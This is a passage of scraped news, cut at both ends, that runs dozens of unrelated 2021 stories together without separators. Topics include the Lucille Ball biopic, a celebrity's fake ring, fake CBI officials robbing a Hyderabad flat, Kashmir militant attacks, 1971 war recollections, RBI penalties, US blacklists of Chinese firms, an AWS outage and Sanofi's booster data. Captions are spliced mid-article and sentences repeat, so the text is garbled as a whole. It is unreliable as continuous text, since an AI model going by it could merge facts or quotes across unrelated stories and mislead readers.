the upcoming biopic, which depicts the often complicated relationship between real-life Hollywood power couple Lucille Ball and Desi Arnaz, played by Javier Bardem, as they filmed their hit 1950s sitcom I Love Lucy. Here: Lucy and Desi c.1950s Nicole plays Lucille Ball in the upcoming biopic, which depicts the often complicated relationship between real-life Hollywood power couple Lucille Ball and Desi Arnaz as they filmed their hit 1950s sitcom I Love Lucy. Appearing at the Deadline Contenders Film event in Los Angeles last month, Nicole admitted she was apprehensive about taking on the role of such a beloved and iconic figure. 'I had massive trepidation about a month prior, and [director] Aaron [Sorkin] had to get on the phone and send me emails saying, 'You've got this,'' she said, as reported by Variety. During press interviews for the film earlier this month Nicole revealed she agreed to play the role after being asked by Aaron Sorkin over Zoom. Nerves: 'I had massive trepidation about a month prior, and [director] Aaron [Sorkin] had to get on the phone and send me emails saying, 'You've got this,'' she said, as reported by Variety. Seen here in Being The Ricardos 'Yes, I would love to do anything with you,' Nicole remembered replying while speaking on The Tonight Show with Jimmy Fallon. Nicole also said once she started to study Lucille that she loved playing her because she was such a physical comedian. 'You are one of the best actors that ever lived,' Jimmy told her. 'You are amazing in every single thing.' 'I love acting,' said Nicole. 'I'm very privileged to be able to do what I love doing.' Vanderpump Rules star Lala Kent has revealed her ex-fiance, Randall Emmett, gave her a 'fake' six-carat diamond engagement ring when he proposed in 2018. The 31-year-old reality star chatted on her Give Them Lala podcast where she admitted she's finding out new things daily' about the film producer that are 'a punch in the gut' following reports he cheated on her during a trip to Nashville, Tennessee in October. Back in the day: Lala Kent revealed her ex-fiance, Randall Emmett, gave her a 'fake' six-carata diamond engagement ring when he proposed in 2018; seen in 2018 On her podcast, Lala who's full name is Lauren Elyse Burningham discovered that her ring wasn't real through a series of events. Before their split, she overheard a curious conversation Randall was having with her mother about 'how some rappers take s**tty diamonds and make them pretty,' which then sparked curiosity over her own bauble. After their breakup, she took the ring to a 'highly recommended' jeweler and found the GIA certification a standard of rating diamonds through the Gemological Institute of America which described the stone as 'treated by one or more processes to change its color.' The way they were: Randall proposed to Lala during a romantic trip to Cabo San Lucas, Mexico, in September 2018 when they celebrated her 28th birthday The 31-year-old reality star chatted on her Give Them Lala podcast where she admitted she's finding out new things daily' about the film producer that are 'a punch in the gut' following reports he cheated on her during a trip to Nashville, Tennessee in October. Randall proposed to Lala during a romantic trip to Cabo San Lucas, Mexico, in September 2018 when they celebrated her 28th birthday. She said the jeweler told her the diamond 'was most likely brown' before the treatment and he priced the stone 'in the teens' as opposed to the $150,000 tag from the original jeweler, Richie Rich. 'I love any type of ring that is given and has sentimental value. I don't care if it was $100, I don't care if it was $100 million I don't,' Kent said. 'No wonder he whose name we shall not mention flew in four times, he had to make sure the s**t brown diamond was clear!' When Kent contacted Rich, 'he was a little stressed out,' she said before adding that he offered to rework the stone into a necklace. After asking the right questions, Kent claimed Rich admitted, '[Randall] knew exactly what he was buying. He knew the diamond he was getting.' 'I love any type of ring that is given and has sentimental value. I don't care if it was $100, I don't care if it was $100 million I don't,' Kent said. 'No wonder he whose name we shall not mention flew in four times, he had to make sure the s**t brown diamond was clear!' While she did 'laugh hysterically' once coming to terms with the fake jewelry, Kent is also realizing 'there's not one piece of my five years with this person that has been truthful and honest.' She added: 'The only truth I feel that existed in my relationship was me and my daughter, Ocean. That is where the truth ended. That is a hard pill to f***king swallow.' Kent, who hails from Utah, previously noted that she's 'hopeful and happy' about the prospects in her life despite breaking up with Emmett after his trysts, and his raising their daughter, Ocean, nine months. On an appearance for the Melissa Gorga On Display podcast, she admitted that 'this whole experience has been traumatizing and it haunts me daily.' Lala reflected on her relationship with Randall and wondered 'just how I could feel so safe with someone and to have a conversation about starting a family' with him. She added, 'And him making me feel safe enough to bring this beautiful innocent life into the world is hard. It haunts melike I saiddaily. 'I wonder often where I'm getting strength from, and obviously I see my daughter and I know exactly where my strength is coming from.' The announcement was made by Meta founder and CEO Mark Zuckerberg at Meta's Fuel for India, 2021. (AP Photo) New Delhi: Meta (formerly Facebook) on Wednesday said it will expand its partnership with the Central Board of Secondary Education (CBSE) to provide a curriculum on digital safety and online well-being and augmented reality (AR) for over 10 million students and 1 million educators in the country over the next three years. Additionally, in line with the government's vision of universalizing education, Meta and CBSE will democratise the high school curriculum by allowing students access to quality educational content online through modules which would be made available on CBSE's website. The announcement was made by Meta founder and CEO Mark Zuckerberg at Meta's Fuel for India, 2021. "I'm really excited about this partnership and I think it's a huge opportunity to (invest in) this entrepreneurial spirit and bring some of these tools around the metaverse, and training to the education system here in India, he said. The first phase of FB for Education' initiative was launched in June 2020, aimed at preparing students and teachers for the future of work and creating a safe online environment and learning experience. It witnessed over 500,000 students show interest for digital safety and online well-being and more than 14,000 teachers apply for training in augmented reality. The partnership will also aim to empower educators with new age tools and skills needed to nurture the Generation Z and Generation Alpha students into responsible digital citizens. Aligned to the National Education Policy (NEP) 2020, Meta and CBSE will collaborate on content curation and development of curriculum integrating immersive technologies, AR and Virtual Reality (VR) that is relevant for the evolving digital landscape by introducing these as skills subjects for students. By integrating AR experiences into the curriculum, students will be able to collaborate more actively and create using emerging technologies of the future. Immersive education will also enable students with different learning challenges and lack of access to lab resources to learn in an engaging manner. CBSE will aim to empower students in the under-served regions of India through its community skill centers making these new age skills available to the youth and help them become creators in the digital economy through equitable access to resources. Dr Biswajit Saha, Director (Skills Education and Trainings) at CBSE, said the pandemic has impacted lives all around. The learning process has undergone an unforeseen shift. This drastic change has brought along a wall of challenges in facilitating the process of learning. With the assistance of Meta, we hope to build on our online teaching and curriculum capabilities and make them available to students across the country, Saha added. This partnership will help equip our teachers with requisite skills to effectively use online tools for student engagement, Saha noted. They entered the bedroom and took the locker keys from the handbag and opened the locker. They took hold of the familys gold and diamond ornaments along with some cash, before leaving the place, the police said. Representational image/DC Hyderabad: In what seems to be a plot straight from a Bollywood movie, four persons posing as CBI officials decamped with 1,340 grams of gold ornaments, diamond sets and Rs 2 lakh cash from a flat at a gated community in Nanakramguda, Gachibowli, police reported on Tuesday. According to the police, the incident occurred on Monday and it came to light when a woman, Bhagyalakshmi, wife of a realtor, lodged a complaint with the police. She said four people came to her apartment in Jayabheri Orange County, Nanakramguda in the afternoon and introduced themselves as CBI officials. They told her that they were there to conduct a search. As per the FIR, the men arrived in a Maruti Suzuki Ertiga, flashed their ID cards and entered the house. They asked the woman and her three children to sit down and told their drivers to remain in the hall. They entered the bedroom and took the locker keys from the handbag and opened the locker. They took hold of the familys gold and diamond ornaments along with some cash, before leaving the place, said the police. It took time for the woman to realize she was cheated. She approached the police to file a complaint on Monday evening. We are accessing the CCTV footage from the area to identify the culprits, police said. Meanwhile, the complainant said she can identify the men. Special teams have been deputed to trace and nab them. Union Minister Piyush Goyal speaks in the Lok Sabha during the Winter Session of Parliament, in New Delhi, Wednesday, Dec. 15, 2021. (LSTV/PTI) New Delhi: The BJP on Wednesday rejected as unfounded the opposition's demand for the resignation of Union minister Ajay Misra 'Teni' and all but ruled out a discussion on the Lakhimpur Kheri issue as the matter is sub-judice. The opposition intensified its demand for Misra's resignation and forced an adjournment of Lok Sabha's proceedings after a Special Investigation Team probing the Lakhimpur Kheri violence termed the October 3 incident a "pre-planned conspiracy". Misra's son, who is under arrest, is one of the accused in the case. "The probe is on under Supreme Court's directions. Such comments (of opposition) are unfounded," Union minister and senior BJP leader Piyush Goyal told reporters. Asked about the demand for a discussion, he added, "Parliamentary rules dictate that a sub-judice matter is not discussed (in Parliament)." The Leader of the House in the Rajya Sabha also hit out at opposition members for their continuous disruption of House proceedings to seek revocation of the suspension of 12 members, who allegedly attacked marshals and indulged in "unruly" conduct inside the chamber in the last session. This shows that opposition parties lack any real issue to criticise the government and are not keen on raising pro-people matters, Goyal said. He noted that the Lok Sabha was scheduled to discuss the issue of price rise and the Rajya Sabha the COVID-19 situation following the outbreak of the Omicron variant but opposition protests caused adjournments in both Houses. Goyal said 12 opposition members were suspended for restoring the confidence of parliamentary security staff and added that the suspended MPs also lowered the Chair's dignity. They should tender an apology for their conduct, he said. The violence on October 3 had left eight people, including two BJP workers, dead. At around 10 am, the police parties were combing Cherla mandal in the border area when the pressure bomb exploded injuring the commando in the leg. (Representative Image: Reuters) Hyderabad: A commando of a special police party was injured after a pressure bomb, planted by the banned outfit CPI (Maoist) in a forest area of Bhadradri-Kothagudem district of Telangana bordering Chhattisgarh, exploded on Wednesday, police said. At around 10 am, the police parties were combing Cherla mandal in the border area when the pressure bomb exploded injuring the commando in the leg, Bhadradri- Kothagudem District Superintendent of Police Sunil Dutt said. The commando was shifted to a hospital in Hyderabad and his condition is stable, the SP said adding combing operations are continuing in the area. Security personnel stand guard during high alert after a millitant attack on a police bus in Zewan in which 3 policemen were killed and several others were injured, in Srinagar, Tuesday, Dec 14, 2021. (PTI) SRINAGAR: The authorities in Jammu and Kashmir have issued an updated security alert across the restive Union Territory in view of the stepped-up militant attacks on policemen and other uniformed forces. While police personnel have been asked to remain extra vigilant in view of the recent attacks on their colleagues, the combined security grid is acting aggressively against separatist militants and their overground workers and sympathisers. On Monday evening, an assistant sub-inspector and two other policemen were killed, and eleven others wounded in a sneak attack on a police bus in Zewan area on the peripheries of capital Srinagar. The police officials say that it was a weapon snatching attempt made by the cadres of proscribed Jaish-e-Muhammad (JeM) but was foiled by the policemen onboard the bus. Earlier at the weekend, two policemen were shot dead by militants in the northern town of Bandipore. This was the seven such attacks on uniformed forces in the past few weeks, the police sources said. The policemen targeted at Zewan were returning to their barracks after performing law and order duties in sensitive areas of the capital city which had earlier during the day witnessed clashes between irate crowds of men and women and the security forces over the killing of two suspected militants by the latter. Mondays incident was a major attack on the security forces in J&K after the February 14, 2019 Pulwama suicide attack. A senior police official Vijay Kumar said that the attack on the police bus was carried out by three members of Kashmir Tigers which, he said, is an offshoot of the JeM terror group. It was actually a weapon snatching attempt which was foiled by the policemen. In their retaliatory fire one of the assailants was injured. We have launched a manhunt for them and, hopefully, we will track them down soon, he said. Following these attacks, the J&K police has reminded its members of the guidelines which discourage them from going out of their places of postings or deployment alone, unarmed and without seeking prior permission or informing their seniors. The off-duty policemen including those at home on leave have once again been asked to avoid mingling with people outside their immediate family members or visit public places or those they think could be unsafe. The off-duty police personnel have been asked to remain extra vigilant and take all precautionary measures while attending social functions such as weddings and birthday parties and avoid places of worship and instead pray at home, a police official who spoke to this correspondent on condition of anonymity said. Inspector General of Police (Kashmir range) Vijay Kumar said that arrangements are being made to ensure the policemen while travelling between places for official assignments do use bulletproof vehicles only. Were maintaining high alert and cops requiring travel from one place to another will be provided bullet proof vehicles. In the backdrop of the attack on the police bus, he said, Were taking all necessary preventive measures. We will install lighting gadgets at places where it is required and are taking other preventive measures including increasing durations of road-opening parties deployment (along the routes frequented by policemen)." Meanwhile, the security forces footprint in Srinagar and some other towns of the Valley has increased over the past few weeks. While new pillboxes and sandbag bunkers of the Central Reserve Police Force (CRPF) and other Central armed police forces and J&K police have come up at various locations in and outside Srinagar, their other defensive activity including jointly laying makeshift checkpoints or nakas at places and conducting random searches in crowded area has also increased. Hyderabad: Chief Minister KCR is visiting numerous temples for blessings from gods. This is fine. But the temples that KCR should visit are the houses of the martyrs who laid down their precious lives for the cause of separate Telangana, said AICC spokesperson Dr. Dasoju Shravan. Dasoju spoke along with Telangana activists Pasham Yadagiri and Gade Innayya at a media conference held at Gun Park on Tuesday, where several families of these martyrs were also present. "Telangana as a state came about because of everyone's struggle. The struggle was of the people from all walks of life. More importantly, there were the self-sacrifice of thousands of youths. But today the TRS government is turning a blind eye to this reality and instead developed the arrogance of power it wields. It is wrong for the TRS government to insult the families of the martyrs by not doing justice to them," Dasoju said. I was also a member of the committee that prepared the 2014 TRS Election Manifesto. Numerous points were included in it to do justice to the families of the martyrs, he said. TRS manifesto including a government job, Rs 10 lakh as financial aid to the family of each martyr and setting up of a martyrs memorial should be first priority, he said. But even eight years later, justice has not been done to the martyrs. Not a single promise written in the Manifesto was fulfilled. The power which the TRS government and its leaders are enjoying today is the result of the sacrifices of the martyrs. Do not forget that TRS leaders are sitting on the pools of blood of the martyrs, Dasoju said. He said, "In December 2013, the Telangana Development Forum published a list of about 900 martyrs, including their addresses. A collection of details of those who died after 2014, led by Pasham Yadagiri, revealed that 1,381 people were martyred. KCR himself testified on the floor of the assembly that 1,560 people were martyred. Strangely, the Telangana government has so far identified only 576 martyrs. While many faced issues with finding a place to eat, several IT employees also complained about how petrol stations were closed before midnight. Representational image/By arrangement HYDERABAD: Even though Hyderabad enjoys the status of a cosmopolitan city, its twin sister Secunderabad - once the habitat of nobles and knights seems to be living a conventional life without night outs and knees-ups, even no bistros open to have a chinwag over dinner. All commercial establishments are shut even as early as 10:30 pm, forcing epicureans to travel all the way to Cyberabad to find something to eat or even to sip a cup of chai. Citizens in Secunderabad complain that even petrol bunks in many parts are closed before midnight, barring a few in major junctions. Speaking to Deccan Chronicle, Dr. Ahmed Ashfaq, an orthodontist who is also a food blogger, said the only food joints open at nights were near DLF, food trucks near Hitec city and at most drive-ins in Cyberabad. There definitely is a dearth of food joints in the city, especially the Secunderabad side. Though Sindhi colonys street food scene is good where you get things like dabeli, vada pav and live sodas, sadly most of these places are closed by 10.30 pm max, he said. However, when asked about the nightlife and eateries, joint police commissioner of Rachakonda Sudheer Babu said that shops were given timings while applying for a license and they had to function according to that. According to the City Police (CP) Act and government guidelines, shops are asked to close by 10:30 pm or 11 pm. These timings are also determined by the license they get during their opening. When it comes to night patrolling parties, a Zonal NSO (Night Supervisor Officer) of DCP/ACP level is on duty every night who caters to the entire commissionerate jurisdiction. The officer monitors everything and ensures that the shops are closed by the given timings. If found open, a photo of the place is taken and they are prosecuted under the CP Act, explained the official. While many faced issues with finding a place to eat, several IT employees also complained about how petrol stations were closed before midnight. I travel from Jubilee Hills to ECIL every day on my bike and my work often gets late to post midnight. The last petrol station I can find is at Patny, as all the other ones on the Karkhana-Trimulgherry stretch are shut by midnight, said Rajesh Sahoo, a private employee. Sudheer Babu said petrol stations and their timings either depended on the government orders or the management's decision. They also close on their own based on employees and customer headcount during certain hours or at night and the management decides on that, he said. Thiruvananthapuram: Kerala chief minister Mr Pinarayi Vijayan on Tuesday accused the RSS of making attempts to install a presidential system in the country. The chief minister while addressing a CPM gathering in Ernakulam, alleged that the BJP government at the Centre was preparing the ground for a change in system by scuttling the interests of the states. Decisions are being imposed from above in violation of federal principles. Mr Vijayan said the need of the hour is to throw the BJP out of power. "The CPM stand is to work for the formation of a secular government at the Centre. This is the task which has been bestowed on the party in the current political situation," he said. The chief minister, however, ruled out the possibility of Congress leading such a political formation at the national level. "The Congress cannot become an alternative to the BJP. People have lost faith in the Congress," he said. Mr Vijayan said the BJP government was selling public sector undertakings on the one hand and derailing the development projects of the states. India and Pakistan are not the best of friends. I think that is a well-known fact. We have fought four wars with Pakistan, in 1947, 1965, 1971 and 1999, the last of which is better known as the Kargil War. In 1971, the relations between India and Pakistan were extremely bad and they were further worsened by the hijacking of an Indian civil airliner to Lahore. I think this gave an ideal opening to the Indian political leadership at the time to put a plan into action to cut Pakistan down to size along the cultural and religious fractured lines that already existed. In 1971, Bangladeshs war for independence, which is better known as the Mukti Juddho, started because of the torture and maltreatment by Pakistani soldiers and others of the Bengali population of the countrys eastern wing (East Pakistan), based on an internal conflict between the Urdu and Bengali language and what should be its national language. Quite rightly, the Bengali population of East Pakistan, who were then numerically larger, demanded that Bengali should be one of the national languages of Pakistan. Primarily, the Punjabi political leaders of Pakistan dominated all services, particularly the Army as well as the civil service. Pakistan was then dominated in all areas by Punjabi elements who were unwilling to accept any sort of parity with their Bengali compatriots. Sheikh Mujibur Rahman proclaimed that unless the Bengali-speaking population under his leadership was given its due place in Pakistan, they would have to decide on another way to obtain recognition for themselves. There was a military crackdown in Dhaka against this movement, which was then being spearheaded by the students of Dhaka University. The Pakistani Army, which was ordered into the streets of Dhaka to attack educational institutions, inflicted heavy casualties on the Bengali civil population. The Bengalis of Pakistan adopted the call given by Sheikh Mujibur Rahman: Ebarkar Songram, Muktir Songram (Our Struggle Now Is the Struggle for Freedom). The unarmed students decided to challenge the might of the Pakistan Army, which was predominantly from West Pakistan, on the streets and homes of Dhaka. Mukti Juddho had been born. In an immediate repercussion, the Hindus were driven out of Pakistan. India had a new crisis on its hands: a vast, and growing, number of refugees started coming into this country. They were accommodated in refugee camps all along our borders. At that time, the sympathy of the world was with the oppressed people who were driven out of their country and, very astutely, then Prime Minister Indira Gandhi seized the opportunity to tell the world that unless Pakistan stopped the flow of refugees, India would have no option but to retaliate in whatever way it cold. That was a strategic aim to begin with. The Bengali student population had already crossed over as refugees from East Pakistan to states like West Bengal, Tripura and Assam in the eastern parts of India. India also saw an opportunity to retaliate against Pakistan for its calculated intransigence in Jammu and Kashmir. A well formulated plan was created to take the young manpower coming from East Pakistan. At that time, feelings were running very high in India and also in Bangladesh. There were mutual sympathy and support. After all, the people of West Bengal in India and East Pakistan spoke the same language. Their culture was the same. There was also a strong cultural affinity and a meeting of hearts. Given this background, India decided to accept the disaffected population of East Pakistan flooding into India as refugees, and the creation of the Mukti Bahini was a direct fallout. Once that decision was taken by the top leadership in New Delhi, the infrastructure was made ready. The trouble in East Pakistan had after all been brewing for a long time. The Indian Army was deployed within the country in aid of civil authority because there were a lot of disturbances happening. This was further reinforced into operational deployment. But the most important part of the story was the Mukti Bahinis creation. The young students, who came to India from East Pakistan, were organised in the refugee camps into highly motivated groups so that they could be given weapons, arms and military training and then used to liberate their own country. From Indias point of view, it was to pay Pakistan back for torturing its own population and consequently creating an added burden for India. Therefore, the decision was taken to train these people coming over from East Pakistan as guerrilla troops to fight the West Pakistanis who were then running the affairs of East Pakistan. It started off as a very carefully planned move. The communication links between East Pakistan and West Pakistan were snapped. No military reinforcements could be brought into East Pakistan by land, air or sea. The Indian Army was deployed inside India, creating an active support force of the Bengali student volunteers as armed auxiliaries. They took the war into East Pakistan to liberate their own country with the moral support of the world and covert physical support from India in the form of the Mukti Bahini. Today, while I wont say that these events have been forgotten, they appear to be slowly losing their significance due to other events which have followed later. But as a young Indian Army officer at the time, I am proud to have been a part of the campaign, in association with the Mukti Bahini, which ultimately gave birth to Bangladesh, with substantial moral and military support from India. Things started very well after the war ended. There was a complete meeting of minds between the top political leaderships of both countries. The Indian Army had already declared that our troops would come home soon after the end of the war. After the Indian soldiers left Bangladesh, internal politics got under way in the newly-born nation. The situation fluctuated. We always want to maintain good relations with Bangladesh. It is important for both of us, and this should be our national policy. It is up to us to nurture that politically. Both countries need to help each other to create and maintain a healthy relationship. The Reserve Bank of India (RBI) on Wednesday said it has imposed a penalty of Rs 1.8 crore on Punjab National Bank and of Rs 30 lakh on ICICI Bank for deficiencies in regulatory compliance. In a statement, the RBI said the statutory Inspection for Supervisory Evaluation (ISE) of Punjab National Bank (PNB) was conducted by it with reference to its financial position as of March 31, 2019. Following the ISE and examination of other documents, the RBI found contravention of its provisions relating to the pledge of shares by the PNB. In the case of the ICICI Bank, the RBI said the statutory ISE of the bank was conducted by it with reference to its financial position as of March 31, 2019. Later, the RBI found non-compliance with directions related to levy of charges for non-maintenance of minimum balance in saving accounts. In both cases, penalties were based on deficiencies in regulatory compliance and were not intended to pronounce upon the validity of any transaction or agreement entered into by the banks with their respective customers, the RBI mentioned. Watch the latest DH Videos here: The Tamil Nadu government is believed to be pushing home-grown Tata Motors to consider taking over the sprawling Maraimalai Nagar plant owned by Ford India, which has announced its plans to exit the country. The state government, which wants to save the jobs of thousands of people within the Ford plant and outside, like the MSMEs that are dependent on the auto industry, is acting as an interlocutor between Tata Motors and Ford India, sources familiar with the matter told DH. While Tata Motors, according to the sources, is keen on taking over the Sanand plant in Gujarat due to its proximity to its manufacturing unit, the Indian automobile major has not yet decided on the Maraimalai Nagar plant located just outside Chennai. On Wednesday, a high-level delegation led by Tata Motors Managing Director Girish Wagh met Chief Minister MK Stalin at the Secretariat and held discussions on the companys future plans in the state. The delegation was also closeted with officials from the Guidance Bureau during which several issues, including Ford's exit, came up for discussion. Also Read Tata Motors in talks with Ford to take over its two India plants The sources said that Tata Motors is evaluating the possibility of taking over the plant and how it can be used. The company is taking time to make a decision because they have to factor in a slew of issues. We have told them that we will provide every assistance in taking over the plant. They are exploring all options and the talks are continuing, one of the sources said. They also said a high-level delegation of Tata Motors has visited the sprawling facilities owned by Ford India in Maraimalai Nagar on the outskirts of Chennai and in Sanand in Gujarat, as part of the negotiations between the two firms. DH had on November 27 reported that Tata Motors has touched base with the US-based auto giant for talks on the sale of its two plants in Tamil Nadu and Gujarat. Both the companies had then said they were not willing to comment on the issue. Ford India had on September 9 announced its plans to exit India operations by closing its plants. However, the company will continue to cater to the Indian market through exports. Watch the latest DH Videos here: Shares in Chinese health care and technology firms tumbled on Wednesday after a report that the United States will add more Chinese firms, including the largest commercial drone maker and biotech firms, to investment and export blacklists this week. The Financial Times reported, citing two sources briefed on the plans, that the United States will add eight Chinese companies, including leading global commercial drone manufacturer DJI Technology Co Ltd, to an investment blacklist on Thursday. The US commerce department is also set to on Thursday place more than two dozen Chinese companies, including some involved in biotechnology, on an "entity list" restricting exports to them by US firms, the paper cited the sources as saying. The report accelerated a sell-off in Chinese health-care shares in afternoon trade, knocking 3.2 per cent off a mainland index tracking the sector against a 0.87 per cent drop in the broader index. The impact was sharper still in Hong Kong, where the Hang Seng Healthcare Index was down 7.6 per cent in late afternoon trade Health care firms had already been under pressure on Wednesday after Chinese biotech company BeiGene Ltd plunged on its Shanghai debut on Wednesday, amid worries some Chinese companies could be ordered to delist from the US stock market. The Financial Times reported that the US Treasury Department will put eight companies including DJI on its "Chinese military-industrial complex companies" blacklist on Thursday because of their alleged involvement in surveillance of the Uyghur Muslim minority. US investors are barred from taking stakes in companies on the list, which currently cites around 60 firms. A DJI spokesperson declined to comment on the FT report, but directed Reuters to the company's statement when it was added to the US Commerce Department's "Entity List" a year ago for the same reasons. That listing prohibited the company from buying or using US technology or components. At the time, DJI said it had done nothing to justify the move and it would continue to sell its products in the United States, where it has built up a large market. The US Treasury did not immediately respond to a Reuters request for comment. The new additions would come just days after artificial intelligence start-up SenseTime Group was placed on the same Treasury list, leading the company to postpone its $767 million Hong Kong initial public offering (IPO). SenseTime said the accusations against it were unfounded. U.N. experts and rights groups estimate more than a million people, mainly Uyghurs and members of other Muslim minorities, have been detained in recent years in a vast system of camps in China's far-west region of Xinjiang. Some foreign lawmakers and parliaments have labelled the treatment of Uyghurs as genocide, citing evidence of forced sterilisations and deaths inside the camps. China denies these claims and says Uyghur population growth rates are above the national average. The FT named the other companies being added to the list as image-recognition software firm Megvii, supercomputer manufacturer Dawning Information Industry, facial recognition specialist CloudWalk Technology, cyber security group Xiamen Meiya Pico, artificial intelligence company Yitu Technology and cloud computing firms Leon Technology and NetPosa Technologies. Check out the latest DH videos here: Video-conferencing platform Zoom has joined a counterterrorism organization formed by major US tech companies including Meta Platforms Inc, formerly known as Facebook, and Microsoft Corp, the group said on Wednesday. The move marks the latest expansion of the Global Internet Forum to Counter Terrorism (GIFCT), an independent group through which member companies share information to combat terrorism and violent extremism on their sites. Zoom Video Communications Inc, which saw usage explode during the Covid-19 pandemic but has faced slowing growth in recent months, has come under scrutiny over how to police content and abuses on its platform. GIFCT, which has said it wants to broaden its member companies, added five new platforms this year including home-rental giant Airbnb, social network Tumblr and online publishing platform WordPress. It now has 18 members and said it plans for more companies to join in 2022. Tech companies have long been criticized for failing to curb violent extremist activity on their platforms, though they also face concerns over free expression. GIFCT was created in 2017 under pressure from US and European governments after a series of deadly attacks in Paris and Brussels. Its founding members were Facebook, Microsoft, Twitter and Alphabet's YouTube. The group manages a hash-sharing database, where member companies can share "hashes," unique numerical representations of original pieces of content that have been removed from their services. Other companies can use these hashes to identify the same content on their sites and review or remove the material. "It is our responsibility to support our users and protect them against online threats," said Josh Parecki, Zoom's associate general counsel for trust and safety, in a statement. "By collaborating with other leaders across the industry, sharing key learnings and advancing research, we aspire to make the digital world a safer place for all." As individuals and companies turned to video-conferencing apps during Covid-19 lockdown restrictions, Zoom faced high-profile content moderation issues. These ranged from abuses like "zoombombing," where uninvited users crashed others' calls to share hate speech and racist, violent or pornographic content, to decisions like its cancellation of a virtual event featuring Leila Khaled, a member of a Palestinian group on the U.S. State Department's list of terrorist organizations. GIFCT's Executive Director Nicholas Rasmussen said in a statement it was delighted to add Zoom as its mission "requires we work with a diverse range of companies...to develop cross-platform solutions that render terrorists and violent extremists ineffective across the internet." GIFCT has faced criticism from some human and digital rights advocates over centralized or over-broad censorship, and calls for greater transparency. In July, the organization expanded the scope of its hash-sharing database to include attacker manifestos and other publications and URLs flagged by the United Nations initiative Tech Against Terrorism. It also said it would continue to broaden the database to include hashes of audio files or certain symbols. GIFCT also said on Wednesday it has designed a new membership structure based on company revenue, with suggested annual contributions ranging from $0 to $1 million. It said membership was not contingent on a company's revenue. The group's members also include Reddit, Snapchat-owner Snap, Verizon Communications and file-sharing service Dropbox. Watch the latest DH Videos here: Amazon.com Inc said on Wednesday that its cloud service, Amazon Web Services, is facing internet connectivity issues in two regions on the US West Coast. AWS, which is a public cloud service provider, supports online infrastructures of many companies including Netflix. AWS's dashboard showed that it was investigating internet connectivity issues in the "US-West-1 and US-West-2" regions. According to Downdetector.com, services at Netflix, Slack, Amazon's Ring and DoorDash were also down. This indicates that the outage could be widespread. Downdetector tracks outages by collating status reports from a number of sources, including user-submitted errors on its platform. Amazon's live-streaming site, Twitch, also said its services were facing several issues. A major outage disrupted Amazon's cloud services for several hours last week that resulted in Netflix, Disney+, Robinhood and a slew of other services being inaccessible, including Amazon's e-commerce website. Check out latest videos from DH: Commuters who top up the Namma Metro smartcards through online portals do not have to wait for an hour or more to get the recharge reflected at the station as the BMRCL has introduced a new system for instant online recharge credits. The Bangalore Metro Rail Corporation Limited (BMRCL) acknowledged that Metro commuters had expressed their dissatisfaction over delays in the process of online recharge credits to their travel cards. "The BMRCL has upgraded their fare collection system and has commissioned 'Card Top-up Terminals' (CTT) at all Metro stations for instant online recharge credits," the BMRCL said in a release. Now, after the online recharge, commuters have to present the card at the CTT, a machine, where they have to "claim online top-up". Once they confirm the amount in the machine, the recharge amount will be credited. The CTTs are installed near the customer care centres at all Metro stations. Watch the latest DH Videos here: The BMTC has reduced the medium and long distance fares and bus pass prices of air conditioned (Vajra) services in the city in a move to attract more passengers. However, the discount does not apply to the airport buses. The first three stages of the Vajra services, up to 6 km, will remain the same. Passengers travelling to stage 4 (8 km) and beyond will see a cut ranging from Rs 5 to Rs 40 depending on the distance travelled. The price of Vajra day pass has been reduced from Rs 120 to Rs 100, while the monthly pass price has seen the biggest cut from Rs 2,000 to Rs 1,500. The Bangalore Metropolitan Transport Corporation (BMTC) has been struggling to restart the AC bus operations for more than a year as the pandemic took away the regular passengers for the high-end buses, mostly the employees working in companies in the IT corridors. New services Over the last two months, officials have resumed 83 services, a portion of the more than 650 daily services that were operated before the pandemic. Officials said 90 additional AC bus services will be introduced on 12 routes starting from Friday, taking the total number of services to 173. The Bengaluru Bus Prayanikara Vedike welcomed the price cut and noted that officials should take a similar approach to regular buses as well. "It is definitely a good move. Considering that many companies are still continuing work from home option, we don't know how many people will benefit from the price slash. However, we urge authorities to look into the sufferings of the common man," Shaheen Shasa of the Vedike told DH. She noted that New Delhi, Punjab and Tamil Nadu have made city bus services free for women. "If they can do it, why can't Karnataka adopt the same and extend it beyond women, to the economically weaker sections. The government needs to look into this matter to address the concerns of the public," she said. Check out latest videos from DH: Tech giant Google has reportedly told its employees that they will lose pay -- and will eventually be fired -- if they do not comply with the company's Covid-19 vaccination policy. According to internal documents viewed by CNBC, employees had until December 3 to declare their vaccination status and upload documentation showing proof, or to apply for a medical or religious exemption. The company said after that date, it would start contacting employees who had not uploaded their status or were unvaccinated, as well as those whose exemption requests were not approved. Also Read Vaccine hoarding may lead to 'Inequity 2.0', says Gavi chief The document said employees who have not complied with the vaccination rules by the January 18 deadline will be placed on "paid administrative leave" for 30 days. After that, the company will put them on "unpaid personal leave" for up to six months, followed by termination. A Google spokesperson did not immediately respond to a request for comment by CNBC. While much of the tech industry continues to push back return-to-work plans and companies large and small prepare for a flexible future, Google is requiring its workforce to eventually come into physical offices three days a week at some point in the new year, the report said. And it is showing limited patience for those who refuse to get vaccines, which have been widely available for months, it added. Watch the latest DH Videos here: Sanofi, the French pharmaceutical company, said Wednesday that its once highly anticipated Covid-19 vaccine produced strong immune responses in vaccinated volunteers who received a single dose of the shot as a booster. The data suggest that the shot, which is still in development and not authorized anywhere in the world, could eventually be used in booster campaigns after it failed to fulfill initial expectations that it would become one of the most important weapons in the fight against the virus. Still, Sanofi has yet to finish a key clinical trial that it said would need to generate results before regulators around the world consider authorizing the shot. Sanofi said that study participants who received the companys shot as a booster saw large increases in their levels of neutralizing antibodies, which are one subset of the expansive immune response prompted by vaccines. The more than 500 volunteers had been fully vaccinated between four and 10 months earlier with either Johnson & Johnsons single-shot vaccine or two shots of the vaccines from Pfizer, Moderna, or AstraZeneca. Also read: Pfizer set to oust AstraZeneca as top supplier of Covid-19 shots to poor nations The antibody responses generated by using the Sanofi shot as a booster were comparable to those seen with a boost of the Pfizer shot in a separate study that compared seven different vaccine brands. Sanofi said that laboratory testing is underway to see if the vaccine might work against the fast-spreading omicron variant. The company said that scientists are using blood samples from volunteers in the booster study to see how their vaccine-generated antibodies fare against the omicron variant. Sanofi is still waiting for results from a large Phase 3 study that will assess the safety and efficacy of its vaccine. Those results were supposed to come in the latter part of this year. But Sanofi said Wednesday that too few volunteers in its trial have gotten sick with Covid, delaying the results until early next year. In the past, the Food and Drug Administration has wanted to see results from Phase 3 trials on previously unvaccinated volunteers before considering a vaccine as a booster. But the agency has updated its requirements during the pandemic to bring vaccines more quickly into use. Sanofi said in a news release that it planned to file its booster data with regulatory authorities after it has Phase 3 trial results. Sanofis shot uses a more 